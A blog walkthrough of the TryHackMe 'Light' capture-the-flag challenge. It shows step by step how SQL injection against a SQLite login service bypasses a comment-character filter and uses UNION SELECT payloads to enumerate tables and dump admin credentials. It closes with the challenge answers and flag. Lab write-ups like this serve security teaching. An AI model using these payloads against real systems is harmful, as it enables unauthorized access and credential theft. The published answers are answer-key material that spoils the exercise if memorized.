TryHackMe Light Full Walkthrough & SQL Injection Exploit

A beginner-friendly challenge focused on SQL Injection in SQLite.
Challenge Setup
While connecting to the machine on port 1337
using nc
, we’re welcomed with a login prompt:
1 | nc 10.10.39.206 1337 |
Output:
1 | Welcome to the Light database! |
Testing for SQL Injection
I started with classic test inputs:
1 | Please enter your username: smokey |
Then:
1 | Please enter your username: admin |
Trying a single quote:
1 | Please enter your username: ' |
This error confirms that SQL queries are constructed, unsafely allowing SQL Injection.
Understanding the Query Structure
Using inputs like:
1 | Please enter your username: smokey' ' |
Suggested the query could look like:
1 | SELECT password FROM users WHERE username = '.....' LIMIT 30; |
Tried some filtering tests:
1 | Please enter your username: smokey' -- |
Response:
1 | For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :) |
So characters like –, /*, and %0b are filtered. Time to get creative!
Bypassing Filters & Identifying the Database Type
I first assumed MySQL and tried:
1 | ' UNION SELECT @@version |
But got:
1 | Error: unrecognized token: "@" |
Tried PostgreSQL and other DBMS payloads but no success. Then I try:
1 | Please enter your username: ' Union Select sqlite_version()' |
Boom! Two key takeaways:
- Backend is SQLite
- SQLi works even without comments
Extracting Tables & Data
To enumerate tables:
1 | Please enter your username: ' Union Select name FROM sqlite_master' |
Found a table: admintable.
To dump credentials:
1 | Please enter your username: ' Union Select username || '~' || password from admintable' |
To retrieve the flag:
1 | Please enter your username: ' Union Select password from admintable' |
Why Two Different “Password” Outputs?
In this payload:
1 | ' Union Select username || '~' || password from admintable' |
The || operator concatenates username and password with ~
Result: TryHackMeAdmin~mamZtAuMlrsEy5bp6q17
But here:
1 | ' Union Select password from admintable' |
You’re fetching just the password column which contains the actual flag.
Challenge Answers
- Admin username:
TryHackMeAdmin
- Password:
mamZtAuMlrsEy5bp6q17
- Flag:
THM{SQLit3_InJ3cTion_is_SimplE_nO?}
- Title: TryHackMe Light Full Walkthrough & SQL Injection Exploit
- Author: Aawart K C
- Created at : 2025-06-26 22:05:59
- Updated at : 2025-07-11 21:03:24
- Link: https://blog.aawart.com.np/TryHackMe-light-challenge/
- License: This work is licensed under CC BY-NC-SA 4.0.